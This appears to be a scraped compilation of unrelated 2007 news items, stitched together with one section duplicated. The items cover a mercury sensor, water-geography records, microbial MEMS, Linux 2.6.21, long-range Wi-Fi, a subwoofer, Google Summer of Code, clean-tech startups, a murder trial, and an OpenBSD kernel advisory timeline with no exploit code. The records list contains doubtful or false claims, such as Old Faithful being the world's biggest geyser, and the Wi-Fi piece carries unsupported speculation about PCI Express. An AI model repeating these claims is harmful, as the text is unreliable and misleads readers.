Gold Nanoparticles Used to Detect a Toxic Metal - Mercury

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Throughout history, mercury has widely been used by alchemists that were trying to produce gold. Now, the roles have changed, and gold is what helps scientists find mercury.

In

the litmus test, litmus is a water-soluble mixture of different dyes extracted from certain lichens, especially Roccella tinctoria, often absorbed on to filter paper. The resulting piece of paper or solution with water becomes a pH indicator (one of the oldest), used to test materials for acidity. Blue litmus paper turns red under acidic conditions and red litmus paper turns blue under basic (alkaline) conditions, the color change occurring over the pH range 4.5-8.3 (at 25 degrees Celsius). Neutral litmus paper is purple in color.

Scientists at Northwestern University have recently developed a simple "litmus test" for mercury that could be used for environmental monitoring of bodies of water, such as rivers, streams, lakes and oceans, to evaluate their safety as food and drinking water sources.

The colorimetric screening technology and its success in detecting mercury rely on using gold nanoparticles and DNA.

Produced directly and indirectly as part of several industrial processes such as the manufacture of acetaldehyde, methyl mercury is a neurotoxin that is particularly dangerous to young children and pregnant women and the form of mercury people ingest when they eat contaminated fish and shellfish.

Mercury is released into the air through industrial pollution, falling into bodies of water and polluting the waters in which fish and shellfish live. Bacteria in the aquatic environment then convert water-soluble mercuric ion (Hg2+) into methyl mercury, which accumulates in varying amounts in fish and shellfish.

Chad A. Mirkin, George B. Rathmann Professor of Chemistry, Professor of Medicine and Professor of Materials Science and Engineering, who led the study, said that "It is critical to detect mercury quickly, accurately and at its source. Most existing detection methods require expensive complicated equipment forcing tests to take place in a lab. Our method is simpler, faster and more convenient than conventional methods, and results can be read with the naked eye at the point of use."

Being highly sensitive, they are capable of detecting mercuric ions at the 100 nanomolar level. "To the best of my knowledge, we have set a record for the most sensitive colorimetric sensor," said Mirkin. "A glucose meter, for example, operates at a high micromolar scale, with glucose being 100,000 times more concentrated than the mercury we are detecting."

Future applications using similar principles will include developing a colorimetric screening method for cadmium and lead.

Geographic Records of the Water

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Water is the blood of planet Earth and its circuit maintains it alive.

And this cycle implies rivers, lakes, seas and oceans.

Here are some of their records.

The largest running water

in the world is the Amazon river. Each second, this enormous river disgorges 150,000 cubic meters of water into the Atlantic Ocean (3,120 cubic km annually).

Amazon is also the longest river in the world (4,195 mi or 6,750 km), 50 mi (80 km) longer than the Nile, and it also has the largest river basin in the world: 7,050,000 square km (2/3 of Europe or double of the sum for Mississippi and Nile).

The second river is Congo and the third by debit is Ganges.

The largest river delta in the world is that formed by the Ganges and Brahmaputra (Bangladesh and northeastern India): 7,800,000 hectares.

The longest river estuary is that of Obi (Siberia): 450 mi (720 km).

The largest lake in the world is the Caspian Sea: 424,800 square km and 975 m maximum depth.

The deepest lake in the world is Baikal (Siberia): 1,620 m. It has 23,000 cubic km of water, and harbors 1,200 animal species and 700 plant species.

The largest gulf in the world is the Gulf of Mexico: 615,000 square mi (1.6 million square km).

The shortest known river is D.River, in Oregon, that enters into the Pacific after just 132 m (440 ft).

The highest waterfall in the world is the Angel Falls (Venezuela): 979 m (3,212 ft) tall.

The biggest geyser in the world is “Old Faithful” from Yellowstone National Park (Wyomong, US): its water column is 30-54 m (100-180 ft) tall and erupts from 21 to 65 minutes.

The saltiest ocean is the Atlantic: 3.5 % salts, and amongst the seas, the record is detained by the Red Sea : 4 %.

The warmest seawater is that of the Persian Gulf: 35 degrees C, followed by the Red Sea: 32 degrees C.

The coldest seawater is that of the Ross and Weddell seas (Antarctica).

The strongest marine current is the Gulf Stream: it carries 82 million cubic meters of water per second.

The widest strait is the Yucatan Channel between Yucatan peninsula (Mexico) and Cuba: 220 km (360 mi).

It is also the deepest: 2,000 m (6,660 ft).

The longest strait is the Straits of Malacca, between Sumatra Island and Malacca peninsula: 805 km (500 mi) long.

The narrowest intercontinental strait is Bosporus (between Europe and Asia): 700-750 m wide (0.5 mi) and 80 km (50 mi) long.

The narrowest navigable strait in the world is Khalkis (Aegean Sea), between the Balkan peninsula and Eubea island: 40 m (133 ft).

The largest fjord in the world is Northwestern, located in ...eastern Greenland: 313 km (195 mi) long.

Geographic Records of the Water

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Water is the blood of planet Earth and its circuit maintains it alive.

And this cycle implies rivers, lakes, seas and oceans.

Here are some of their records.

The largest running water

in the world is the Amazon river. Each second, this enormous river disgorges 150,000 cubic meters of water into the Atlantic Ocean (3,120 cubic km annually).

Amazon is also the longest river in the world (4,195 mi or 6,750 km), 50 mi (80 km) longer than the Nile, and it also has the largest river basin in the world: 7,050,000 square km (2/3 of Europe or double of the sum for Mississippi and Nile).

The second river is Congo and the third by debit is Ganges.

The largest river delta in the world is that formed by the Ganges and Brahmaputra (Bangladesh and northeastern India): 7,800,000 hectares.

The longest river estuary is that of Obi (Siberia): 450 mi (720 km).

The largest lake in the world is the Caspian Sea: 424,800 square km and 975 m maximum depth.

The deepest lake in the world is Baikal (Siberia): 1,620 m. It has 23,000 cubic km of water, and harbors 1,200 animal species and 700 plant species.

The largest gulf in the world is the Gulf of Mexico: 615,000 square mi (1.6 million square km).

The shortest known river is D.River, in Oregon, that enters into the Pacific after just 132 m (440 ft).

The highest waterfall in the world is the Angel Falls (Venezuela): 979 m (3,212 ft) tall.

The biggest geyser in the world is “Old Faithful” from Yellowstone National Park (Wyomong, US): its water column is 30-54 m (100-180 ft) tall and erupts from 21 to 65 minutes.

The saltiest ocean is the Atlantic: 3.5 % salts, and amongst the seas, the record is detained by the Red Sea : 4 %.

The warmest seawater is that of the Persian Gulf: 35 degrees C, followed by the Red Sea: 32 degrees C.

The coldest seawater is that of the Ross and Weddell seas (Antarctica).

The strongest marine current is the Gulf Stream: it carries 82 million cubic meters of water per second.

The widest strait is the Yucatan Channel between Yucatan peninsula (Mexico) and Cuba: 220 km (360 mi).

It is also the deepest: 2,000 m (6,660 ft).

The longest strait is the Straits of Malacca, between Sumatra Island and Malacca peninsula: 805 km (500 mi) long.

The narrowest intercontinental strait is Bosporus (between Europe and Asia): 700-750 m wide (0.5 mi) and 80 km (50 mi) long.

The narrowest navigable strait in the world is Khalkis (Aegean Sea), between the Balkan peninsula and Eubea island: 40 m (133 ft).

The largest fjord in the world is Northwestern, located in ...eastern Greenland: 313 km (195 mi) long.

Tiny Machines Made of Microbes

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Biomimetics employs organisms as models for building new machines.

But now new machines could be made of organisms. In fact, tiny machines from microorganisms.

The single-celled Spirostomum, a Paramecium-related protozoan, resembling a tiny brown worm, can contract its 0.5 mm-long body to 25% of its length

in a millisecond: this is the fastest known movement in a microorganism.

Many microorganisms are integrated in MEMS (Microelectromechanical Systems) technology, the so-called “biotic-MEMS,” developing micron-level machines.

A team of University of Washington has realized a catalogue of the most promising microorganisms (all less than 1 mm long and made of one or few cells) for MEMS systems, and which can boost the conventional MEMS technology. “Tools and concepts have been increasingly borrowed from biology to solve technology problems. Biological concepts such as self-assembly are under serious consideration by technologists now for making highly integrated nano and micro systems”, said co-author Babak Parviz, an electrical engineer.

The microorganisms were assigned into four employment fields: material synthesis, precise structure formation, as functional devices, and integrated into controllable systems. Through biomineralization, a process detected in 700 million years old rocks, microorganisms can produce at least 64 different inorganic materials employed in MEMS technology, like silicon dioxide, biogenic calcite, magnets, gold and silver crystals.

Magnetic bacteria produce magnetosome crystals, crucial for the heading of their water movements.

Unlike industrial MEMS synthesis methods, requiring high temperatures, corrosive gases, vacuums and plasma, microorganisms produce the materials at room temperature, at near-neutral pH, in water solutions.

These structures made by microbes can develop into three dimensions and can be changed with nanoscale or macroscopic (visible scale) precision.

The spicules in the skeleton walls of one deep-sea sponge have excellent fiber-optical properties.

The fields of the chemical and biological sensors (for food and environmental monitoring) could employ microorganisms, as they evolved to detect specific chemicals. “One of the most interesting applications of MOs [microorganisms] in MEMS is to directly use them for detecting chemicals. MOs can be genetically engineered to have various receptors. All the transduction and amplification machinery is already in MOs. I think integration of these MOs into MEMS platforms can generate extremely powerful chemical/biological analysis systems”, said Parviz.

There are microbes that turn chemical energy into electrical energy, like the environmentally-friendly Microbial Fuel Cells for powering robotics and biomedical devices, and for economic hydrogen production, replacing small conventional batteries.

The biggest challenge by now is to integrate these devices into controllable micron-scale systems. “Our ability to manipulate small organisms and produce platforms that can interface with them one cell at a time is brand new. It is yet to be seen how researchers will take advantage of these new capabilities”, Parviz added.

Linux Kernel 2.6.21 Released

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After two and a half months from the last release, Linus Torvalds has just announced today the final and stable release of the Linux kernel, version 2.6.21. The biggest change in 2.6.21 is all the timer changes to support a tickless system:

"If the goal for 2.6.20 was to be a stable release (and it was), the goal for 2.6.21 is to have just survived the big timer-related changes and some of the other surprises (just as an example: we were apparently unlucky enough to hit what looks like a previously unknown hardware errata in one of the ethernet drivers that got updated etc). [...] So the big change during 2.6.21 is all the timer changes to support a tickless system (and even with ticks, more varied time sources). Thanks (when it no longer broke for lots of people ;) go to Thomas Gleixner and Ingo Molnar and a cadre of testers and coders." - says Linus Torvalds.

Highlights of this release include:

• VMI (Virtual Machine Interface)
• KVM updates
• Dynticks and Clockevents
• ALSA System on Chip (ASoC) layer
• Dynamic kernel command-line
• Optional ZONE_DMA
• devres (optional subsystem for drivers)
• GPIO API

Here come the new drivers:

Graphics:

• Add fbdev driver for the old S3 Trio/Virge
• Driver for the Silicon Motion SM501 multifunction device framebuffer subsystem,

Storage devices:

• Add two drivers for the it8213 IDE device, one using the old IDE stack, and other using libata
• Add IDE Driver for Delkin/Lexar/etc.. cardbus CF adapter
• Add IDE driver for Toshiba TC86C001 (old IDE stack)
• Add SCSI driver for SNI RM 53c710
• Add driver for Initio 162x SATA devices

Networking devices

• Add driver for the latest 1G/10G Chelsio adapter, T3,
• Add driver for the Attansic L1 ethernet device
• Add driver for the Gigaset M101 wireless ISDN device
• Add PC300too alternative WAN driver
• Add driver for Silan SC92031 device
• Add driver for the Davicom DM9601 USB 1.1 ethernet device

Various

• Add driver to charge USB blackberry devices
• Add driver for iowarrior USB devices.
• Add support for the GTCO CalComp/InterWrite USB tablet
• New driver for the Analog Devices ADM1029 hardware monitoring driver

For a full change-log with all the new features, drivers and improvements, please visit this website.

The Linux Kernel is the essential part of all Linux Distributions, responsible for resource allocation, low-level hardware interfaces, security, simple communications, and basic file system management.

Linux is a clone of the operating system Unix, initially written from scratch by Linus Torvalds with assistance from a loosely-knit team of hackers across the Net. It aims towards POSIX and Single UNIX Specification compliance.

You can download the Linux kernel now from Softpedia.

Intel Wi-Fi Travels Over 100 Kilometers

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What is the biggest problem when it comes to Wi-Fi connections? The distance; that's why new standards have been created – to allow for the transmission of information on longer distances, and also a higher data

transfer is made possible. The nag of having to deal with cables is also a big thing you should consider, many people actually choose the wireless solution for this reason alone.

And newer chips cost more, and manufacturing facilities give a lot of new jobs and that's progress, but what if, instead of always taking a piece of hardware apart and call it “obsolete”, why not putting some thought into what can be done with existing hardware, rather than just bringing out new stuff, that doesn't always bring something good.

Take, as an example, the AGP slot and the PCI Express, it was first said that the PCI Express interface was necessary because of the bottlenecking of the data going through the 8GB/s AGP interface. That wasn't 100% true when it was said, but nobody took it upon themselves to actually verify the truth in that affirmation. That other purposes have been found for the interface, or better said, that the change was made using the bandwidth as the cover story. It's hard to give up on something good for that which is just as good, but in order for the people to accept the change, it was presented as a mandatory requirement for the maximum bandwidth to be achieved. The people said “yes”, and then they had the chance of actually putting their ideas into action.

Regarding the Wi-Fi, it's the same thing, but under a different “mask”. Eric Brewer, Director of Intel Research Berkeley, was able to bring a new point of view to an “old” piece of hardware, by using “regular Wi-Fi hardware (...) with modified software”. The goal was to take the normal Wi-Fi transmission, which is sent by an antenna on a 360-degree radius, and focusing the signal into one direction. By using this method, they stated that their system can take regular Wi-Fi signal and transmit it to over 100 kilometers.

The alignment of the antennas so that they would communicate to one another is hard to achieve on a physical level, because any small shift in the position would cause signal loss. The solution was to make an “electrical steering”, instead of normal position shifting, thus eliminating any signal loss in case the antennas move out of alignment.

My Personal Earthquake

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Have you ever wanted to have your own earthquake? I guess not. But I am sure that at least on one occasion you wanted your room either bigger or

to have your sound system's loudspeakers placed somewhere else while still be able to enjoy your favorite music.

Now, as I presume you figured it out, you're not the only ones who have faced the insufficient room problem; other people thought about this as well and the big difference is that they had both the mind and resources to make things different. PSB is their name and they are currently solving your biggest problem: placing the sometimes inconveniently-large subwoofer away from your path and your sight but not away from your hearing range.

PSB's in-wall mountable CWS10 subwoofers promise to have the problems above solved in no time, right from the start. Basically, there were some point to be checked in the development of such gear. First of all, designing a shape for the box, which they did in marvelous style, creating a 4-inch deep bass box so you don't need to ruin the house while installing the speakers.

Secondly, since we're speaking about woofers, there's bass: bass means low frequencies and this requires special speakers with special cones to move a lot of air - they also need special architecture. PSB managed to create an anechoic box for the CWS10 both allowing air to flow as it is supposed to when talk comes to bass.

Two 4 Ohms, 10” woofers with a much lower profile than the regular ones (hence the 4” overall depth) will pump out bass coming from a 50 to 300W amp so they'll literally shake your walls if need be. Neodymium magnets ensure the smooth yet strong and reliable operation at the nominal 89dB SPL.

The CWS10 is mountable on any wall, even from construction stage or after the building has been finished. The in-wall woofer is affixed with an extruded aluminum flange and “dog leg” clamps and its perforated metal grille can be painted to match any interior design.

Finally, the third construction issue was not carried out as brilliantly as the others have been: the price is one dollar short of $2,500 and this makes these woofers a rather expensive alternative to the fuss of having to deal with wires, dusting and/or re-arranging loudspeakers in your living room.

Summer of Code Student Applications Now Open

The accepted Google Summer of Code 2007 mentors list is now complete at the Summer of Code website — 131 projects could use your help. Student applications are open and the end date is March 24. Google has an application guide in the Summer of Code Announce discussion group that provides more information on the application process.

Google Summer of Code™

Google Summer of Code 2007 is on! We are now accepting student applications. We've also published some additional web app documentation for mentors and organization administrators.

All the information for participants in Google Summer of Code 2007, including student abstracts and other information provided by them, is available by visiting the individual mentoring organization pages below.

Mentoring Organizations Participating in Google Summer of Code 2007

AbiSource (ideas) Adium (ideas) Aqsis Team (ideas) Ardour (ideas) ArgoUML (ideas) Audacious Media Player (ideas) Bazaar (ideas) BBC Research (ideas) Beagle (ideas) Blender Foundation (ideas) Boost C++ (ideas) BZFlag (ideas) Casetta (ideas) Center for the Study of Complex Systems (CSCS), University of Michigan (ideas) CLAM ( at the Universitat Pompeu Fabra) (ideas) Computer Professionals for Social Responsibility (ideas) Coppermine Photo Gallery (ideas) coresystems GmbH (ideas) Creative Commons (ideas) Crystal Space (ideas) Debian (ideas) Detached Solutions (ideas) Dojo Foundation (ideas) Drupal (ideas) DSpace (ideas) Eclipse (ideas) Etherboot Project (ideas) eXist (ideas) FANN - The Fast Artificial Neural Network Library (ideas) FFmpeg (ideas) Fityk (ideas) FreeBSD (ideas) Freenet Project Inc (ideas) Freevo (ideas) Gaim (ideas) Gallery (ideas) GCC (ideas) Geeklog (ideas) GenMAPP (ideas) Gentoo Foundation (ideas) Git Development Community (ideas) GNOME (ideas) GNU Project (ideas) GnuCash (ideas) GNUstep (ideas) Haiku (ideas) Handhelds.org (ideas) Haskell.org (ideas) hugin / panotools (ideas) IEM - Institute of Electronic Music and Acoustics, Graz (ideas) ikiwiki (ideas) Inkscape (ideas) Internet2 (ideas) Jikes RVM (ideas) Joomla! (ideas) K-3D (ideas) KDE (ideas) Lanka Software Foundation (ideas) Liblime (ideas) LispNYC.org (ideas) LLVM Compiler Infrastructure (ideas) MacPorts (ideas) maemo (ideas) MetaBrainz Foundation (ideas) Mixxx (ideas) MoinMoin Wiki Project (ideas)

Mono Project (ideas) Moodle (ideas) Mozilla Foundation (ideas) MySQL AB (ideas) National Evolutionary Synthesis Center (NESCent), Phyloinformatics Group (ideas) Nmap Security Scanner (ideas) OGRE (ideas) Open Security Foundation (OSVDB) (ideas) Open Source Applications Foundation (ideas) OpenICC (ideas) OpenMoko (ideas) OpenMRS (ideas) OpenOffice.org (ideas) OpenSolaris (ideas) Oregon State University Open Source Lab (OSU OSL) (ideas) OSCAR (ideas) OSGeo (ideas) PHP (ideas) Plan 9 from Bell Labs (ideas) PlanetMath (ideas) Plone Foundation (ideas) Portland State University (ideas) PostgreSQL project (ideas) Python Software Foundation (ideas) Robert H. Lurie Comprehensive Cancer Center of Northwestern University (ideas) Rockbox (ideas) Ruby Central, Inc. (ideas) Samba (ideas) SCons Foundation: Next-Generation Build Tool (ideas) Scribus Development Team (ideas) ScummVM (ideas) SilverStripe Limited (ideas) SIP Communicator (ideas) Sparse (ideas) Squeak (ideas) SquirrelMail (ideas) Subversion (ideas) Swarm Development Group (ideas) Swathanthra Malayalam Computing (ideas) Taste (ideas) The Apache Software Foundation (ideas) The Codehaus (ideas) The Electronic Frontier Foundation (ideas) The Fedora Project (ideas) The Free Software Initiative of Japan (ideas) The gEDA Project (ideas) The GGI Project (ideas) The NetBSD Project (ideas) The Space Telescope Science Institute (ideas) Thousand Parsec (ideas) Ubuntu (ideas) Umit Project (ideas) VideoLAN (ideas) Vim (ideas) Wikimedia Foundation (ideas) WinLibre (ideas) WordPress (ideas) wxPython (ideas) wxWidgets (ideas) X.Org (ideas) Xiph.org Foundation (ideas) XMMS2 (ideas) XMPP Standards Foundation (ideas) XWiki (ideas) Zope Foundation, Inc (ideas)

We are no longer accepting applications from open source organizations.

If you're feeling nostalgic, you can still access the Google Summer of Code 2005 and Google Summer of Code 2006 pages. We've also created a map (requires Google Earth) of all 2006 mentors and student participants for your perusal.

Questions?

Please peruse our FAQ and Terms of Service for more information about the program. If you still have questions, email us for support.

Guide to the Google Summer of Code^TM Web App for Student Applicants

This document is a work-in-progress. Additional information on how to use the application will be added as Google's program administrators receive questions via either our program discussion list or to our support alias.

Using the Web App to Register for GSoC

These are the steps for registering as a student participant for Google Summer of Code:

1. Login to your Google Account.


2. Start registration by reviewing and accepting our program Terms of Service.


3. Once you have accepted the Terms of Service, you should automatically be redirected to the student dashboard.


4. Click on the "My Profile" link in the left hand navigation menu. Please update your personal information.

Notes on the Student Profile Page

Name

Please list your name as you would like it to appear on your program certificate.

Citizenship

We are required to ask for this information. Please see the FAQ entry in student ineligibility for more details.

Shipping Address

Please be very, very careful when filling out this section and provide as much detail as possible. While we're successfully cutting down on the number of problem shipments of t-shirts, etc., we rely on you to provide us with accurate address information. If you have any questions, we suggest you call your local FedEx office and see if they would be able to ship to your address as you have listed it in the web app.

It is very important that you provide a phone number where you can be reached consistenly, as all shipping companies ask for a phone number so they can follow up when there are issues with delivery. If you have a mobile number, please provide it here. It is also very important to include your country code, as a problem with your shipment may occur in a country outside of your own and the shipping company will need the country code information in order to reach you.

School

• Please include the full name of your school as it would appear in any official document sent from the administrative staff.


• Please include the URL to your school as a whole, not to a particular department.


• Your major is your primary field of study at school. If you have not chosen a primary field of study at this time, write in N/A for "not applicable."


• The "Degree to be Completed" section may have some choices that you do not recognize. Here's a basic overview:
  
  
  
  1. Undergrad: select this option if you are working towards your first degree
  
  
  2. Masters: select this option if you are working towards a second degree at the graduate level
  
  
  3. PHD: select this option if you are working towards a Doctorate degree of any kind
  
  
  
  


• If you have not yet begun attending college or university, make your best estimate of the date you will be graduating.

Optional

While all of the information in this section is optional, we'd be totally stoked if you'd provide it, especially since we're planning a Google Summer of Code blog planet this year! By selecting please publish my location, you agree to let us include your coordinates in our yearly GSoC map. (Map file requires Google Earth.)

The Student Dashboard

Once you've updated your profile, you should be redirected to the Student Dashboard. You can also visit this page directly once you have filled out your personal profile.

Your Student Dashboard is a running list of all applications you have submitted. It's also your starting point to submit new applications.

The "Last Modified" column will display the date that your application was submitted. If this information changes, it means that a mentor has posted a public comment, meaning a request to you for to add additional information to the application.

The "Status" column will let you know when mentors have begun reviewing your application.

Submitting an Application

To submit an application, click on the "Add a new application" link in your Student Dashboard . (The "Add a new application" link will also automatically update so you always know how many applications you have left to submit. The maximum number of applications any student can submit is 20.)

You will then be redirected to the application page.

• Title/Summary: Make this a very terse description of your application, e.g. "Garbage collection tuning for GCC."


• Organization: Select the organization to which you'd like to apply from the drop down list. If the organization has provided us with an application template, it should propagate into the "Detailed Description" section once you've selected the organization.


• Abstract: A shorter summary of your overall application to be linked from the GSoC Program Page. View an example.


• Detailed Description: Enter the text of your application here. Text only, 7500 characters maximum.


• Link to Further Information: You can only provide a single link in this field. If you wish to provide more than one link, include additional links in the "Detailed Description" section.

Once you've clicked the "Submit" button, your application will appear in the selected organization's application review queue.

Comments on Your Application

Mentors may post a comment to your application asking for more information. You will receive an email requesting that you log into the GSoC web app and review the comments. You will be able to view the comments by selecting the correct application from the list in your Student Dashboard. The application title will be a link to the frozen application text and the comments provided by the mentor(s) reviewing the application.

Start-Up Fervor Shifts to Energy in Silicon Valley

 

J. Emilio Flores for The New York Times

Andrew Beebe is the president of Energy Innovations, which makes low-cost solar panels.

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By MATT RICHTEL

Published: March 14, 2007

SAN FRANCISCO, March 13 — Silicon Valley’s dot-com era may be giving way to the watt-com era.

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Related Series

The Energy Challenge

Articles examine the ways in which the world is, and is not, moving toward a more energy efficient future.

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Out of the ashes of the Internet bust, many technology veterans have regrouped and found a new mission in alternative energy: developing wind power, solar panels, ethanol plants and hydrogen-powered cars.

It is no secret that venture capitalists have begun pouring billions into energy-related start-ups with names like SunPower, Nanosolar and Lilliputian Systems.

But that interest is now spilling over to many others in Silicon Valley — lawyers, accountants, recruiters and publicists, all developing energy-oriented practices to cater to the cause.

The best and the brightest from leading business schools are pelting energy start-ups with résumés. And, of course, there are entrepreneurs from all backgrounds — but especially former dot-commers — who express a sense of wonder and purpose at the thought of transforming the $1 trillion domestic energy market while saving the planet.

“It’s like 1996,” said Andrew Beebe, one of the remade Internet entrepreneurs. In the boom, he ran Bigstep.com, which helped small businesses sell online. Today, he is president of Energy Innovations, which makes low-cost solar panels. “The Valley has found a new hot spot.”

Mr. Beebe said the Valley’s potential to generate change was vast. But he cautioned that a frenzy was mounting, the kind that could lead to overinvestment and poorly thought-out plans.

“We’ve started to see some of the bad side of the bubble activity starting to brew,” Mr. Beebe said.

The energy boomlet is part of a broader rebound that is benefiting all kinds of start-ups, including plenty that are focused on the Web. But for many in Silicon Valley, high tech has given way to “clean tech,” the shorthand term for innovations that are energy-efficient and environmentally friendly. Less fashionable is “green,” a word that suggests a greater interest in the environment than in profit.

The similarities to past booms are obvious, but the Valley has always run in cycles. It is a kind of renewable gold rush, a wealth- and technology-creating principle that is always looking for something around which to organize.

In this case, the energy sector is not so distant from other Silicon Valley specialties as it might appear, say those involved in the new wave of start-ups. The same silicon used to make computer chips converts sunlight into electricity on solar panels, while the bioscience used to make new drugs can be employed to develop better ethanol processing.

More broadly, the participants here say their whole approach to building new companies and industries is easily transferable to the energy world. But some wonder whether this is just an echo of the excessive optimism of the Internet boom. And even those most involved in the trend say the size of the market opportunity in energy is matched by immense hurdles.

Starting a clean technology firm is “not like starting an online do-it-yourself legal company,” said Dan Whaley, chief executive of Climos, a San Francisco company that is developing organic processes to remove carbon from the atmosphere. “Scientific credibility is the primary currency that drives the thing I’m working on.”

Just what that thing is, he would not specify. For competitive reasons, Mr. Whaley declined to get into details about his company’s technology. His advisory board includes prominent scientists, among them his mother, Margaret Leinen, the head of geosciences for the National Science Foundation.

In the last Silicon Valley cycle, Mr. Whaley’s help came from his father. In 1994, he did some of the early work from his father’s living room on GetThere.com, a travel site. It went public in 1999 and was bought by Sabre for $750 million in 2000.

This time around, entrepreneurs say they are not expecting such quick returns. In the Internet boom, the mantra was to change the world and get rich quick. This time, given the size and scope of the energy market, the idea is to change the world and get even richer — but somewhat more slowly.

Those drawn to the alternative-energy industry say that they need time to understand the energy technology, and to turn ideas into solid companies. After all, in contrast to the Internet boom, this time the companies will need actual manufactured products and customers.

“There are real business models and real products to be sold — established markets and growing economics,” said George Basile, who has a doctorate in biophysics from the University of California, Berkeley and specializes in energy issues.

Cop: Wife googled 'How to commit murder'

BY RICK MALWITZ
STAFF WRITER
Tuesday, March 13, 2007

At exactly 5:45:34 on April 18, 2004 a computer taken from the office of the attorney of Melanie McGuire, did a search on the words "How To Commit Murder."That same day searches on Google and MSN search engines, were conducted on such topics as `instant poisons,` `undetectable poisons,' 'fatal digoxin doses,' and gun laws in New Jersey and Pennsylvania.

Ten days later, according to allegations by the state of New Jersey, McGuire murdered her husband, William T. McGuire, at their Woodbridge apartment, using a gun obtained in Pennsylvania, one day after obtaining a prescription for a sedative known as the "date rape" drug.

Jennifer Seymour, who worked for the State Police digital technology unit, testified thismorning how she examined the digital contents of computers and hand held devices obtained as part of the investigation.

Her testimony was the strongest evidence yet in the state's circumstantial evidence case against the 34-year-old McGuire, who allegedly murdered her husband with a .38 caliber weapon, dismembered his body and placed body parts in three suitcases found in the Chesapeake Bay in May of 2004.

While the jury has yet to see any fingerprint, blood or DNA evidence in the case, the evidence presented by Seymour illustrated how computers can be a valuable investigation tool.

Seymour was still being questioned by Assistant Attorney General Patricia Prezioso when Superior Court Judge Frederick De Vesa gave the jury its lunch break. Testimony was scheduled to resume at 1:45 p.m.

Seymour, now employed by the U.S. Department of Defense, testified how digital investigators can trace activity on a computer, including information the user has deleted.

She testified that she isolated data that was accessed in the weeks leading up to the murder, by inserting the keyword "search," which showed activity by Google and MSN search engines, with the searches center-ing on poisons and gun laws.

The murder took place the same day, according to allegations by the state, that a two-ounce prescription of chloral hydrate was purchased at a Walgreen's in Edison.

A search on April 26, 2004 of the computer seized by the state found that the user accessed the site www.walgreens.com/storelocator.

On Monday Yan Kim Lee, a pharmacist at the Walgreen's on New Durham Road in Edison, testified that on the morning of April 28 she filled a prescription for chloral hydrate for a woman named Tiffany Bain, on script signed by Dr. Bradley Miller of Reproductive Medicine Associates in Morristown.

Melanie McGuire worked at the RMA office as a nurse, and at the time of her husband's death she was having an affair with Miller.

Lee testified that she typically fills only about three or four prescriptions annually for chloral hydrate.

In her testimony Seymour said she was able to trace e-mails on Hotmail accounts allegedly used by McGuire and Miller. She said the e-mails seemed to indicate the two had a romantic relation-ship, with such phrases as "I love you," and "I miss you."

Seymour said that on Sept. 8, 2005, the State Police obtained eight computers, three laptops and eight hand-held devices as part of the murder investigation.

In her testimony today, she said she examined the contents of a computer obtained at the office of McGuire's attorney, though she did not identify the name of the attorney. She also said she tested a home computer used by the Woodbridge couple, and a home computer used by her parents, who now live in Barnegat.

The HP Pavilion computer obtained from McGuire's attorney's office had a 60 gigabyte hard drive, and not all of it was searched by Seymour.

She told the jury that it is known in the computer industry that if information stored on a 12 gigabyte computer was put on paper it would create a stack of paper higher than the Empire State Building.

The first person to testify Tuesday was David A. Barron, a forensics examiner for the state of Virginia, who participated in the initial murder investigation.

Barron testified that he did not examine William McGuire's re-mains for chloral hydrate. He said his office no longer has the samples it used to test for alcohol and certain drugs.

"The protocol is once we complete our testing we submit it to the investigating agency," he said. "My understanding is that it has been destroyed."

Under cross examination by defense attorney Stephen Turano, Barron said no test for chloral hydrate was done on the remains.

When asked by Prezioso if it is routine in autopsies to test for "every substance known to man-kind," Barron said, "We could do a research project on any case we receive, but we don't have the manpower."

The state's second witness, Donna Todd, the director of the Kinder Castle daycare center in Metuchen where the McGuire's 4-year-old son was enrolled, testified for the state about the child's attendance record on April 28, 2004, the day the state alleges the murder take place.

On cross examination by Joseph Tacopina she also testified about his attendance on April 29. Ac-cording to her records the boy arrived at the daycare center at 8:30 a.m.

Todd told the jury that Melanie McGuire explained to her that she was obtaining a temporary restraining order against her husband, and told her about a fight the night before that ended when William stuffed a dryer cloth into her mouth.

Tacopina asked Todd if McGuire looked "upset or crazed."

"She did look upset," said Todd.

Remote Exploit Discovered for OpenBSD

"OpenBSD is known for its security policies, and for its boast of "only one remote exploit in over 10 years". Well, make that two, because Core Security has found a remotely exploitable buffer overflow in the OpenBSD kernel. Upgrade your firewalls as soon as possible."

OpenBSD's IPv6 mbufs remote kernel buffer overflow

Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs/
Date Published: 2007-03-13

Last Update: 2007-03-13

Advisory ID: CORE-2007-0219

Bugtraq ID: 22901

CVE Name: CVE-2007-1365

Title: OpenBSD's IPv6 mbufs remote kernel buffer overflow

Class: Buffer Overflow

Remotely Exploitable: Yes

Locally Exploitable: No

Advisory URL:
http://www.coresecurity.com/?action=item&id=1703

Vendors contacted:

OpenBSD.org

• 2007-02-20: First notification sent by Core.


• 2007-02-20: Acknowledgement of first notification received from the OpenBSD team.


• 2007-02-21: Core sends draft advisory and proof of concept code that demonstrates remote kernel panic.


• 2007-02-26: OpenBSD team develops a fix and commits it to the HEAD branch of source tree.


• 2007-02-26: OpenBSD team communicates that the issue is specific to OpenBSD. OpenBSD no longer uses the term "vulnerability" when referring to bugs that lead to a remote denial of service attack, as opposed to bugs that lead to remote control of vulnerable systems to avoid oversimplifying ("pablumfication") the use of the term.


• 2007-02-26: Core email sent to OpenBSD team explaining that Core considers a remote denial of service a security issue and therefore does use the term "vulnerability" to refer to it and that although remote code execution could not be proved in this specific case, the possibility should not be discarded. Core requests details about the bug and if possible an analysis of why the OpenBSD team may or may not consider the bug exploitable for remote code execution.


• 2007-02-28: OpenBSD team indicates that the bug results in corruption of mbuf chains and that only IPv6 code uses that mbuf code, there is no user data in the mbuf header fields that become corrupted and it would be surprising to be able to run arbitrary code using a bug so deep in the mbuf code. The bug simply leads to corruption of the mbuf chain.


• 2007-03-05: Core develops proof of concept code that demonstrates remote code execution in the kernel context by exploiting the mbuf overflow.


• 2007-03-05: OpenBSD team notified of PoC availability.


• 2007-03-07: OpenBSD team commits fix to OpenBSD 4.0 and 3.9 source tree branches and releases a "reliability fix" notice on the project's website.


• 2007-03-08: Core sends final draft advisory to OpenBSD requesting comments and official vendor fix/patch information.




• 2007-03-09: OpenBSD team changes notice on the project's website to "security fix" and indicates that Core's advisory should reflect the requirement of IPv6 connectivity for a successful attack from outside of the local network.


• 2007-03-12: Advisory updates with fix and workaround information and with IPv6 connectivity comments from OpenBSD team. The "vendors contacted" section of the advisory is adjusted to reflect more accurately the nature of the communications with the OpenBSD team regarding this issue.


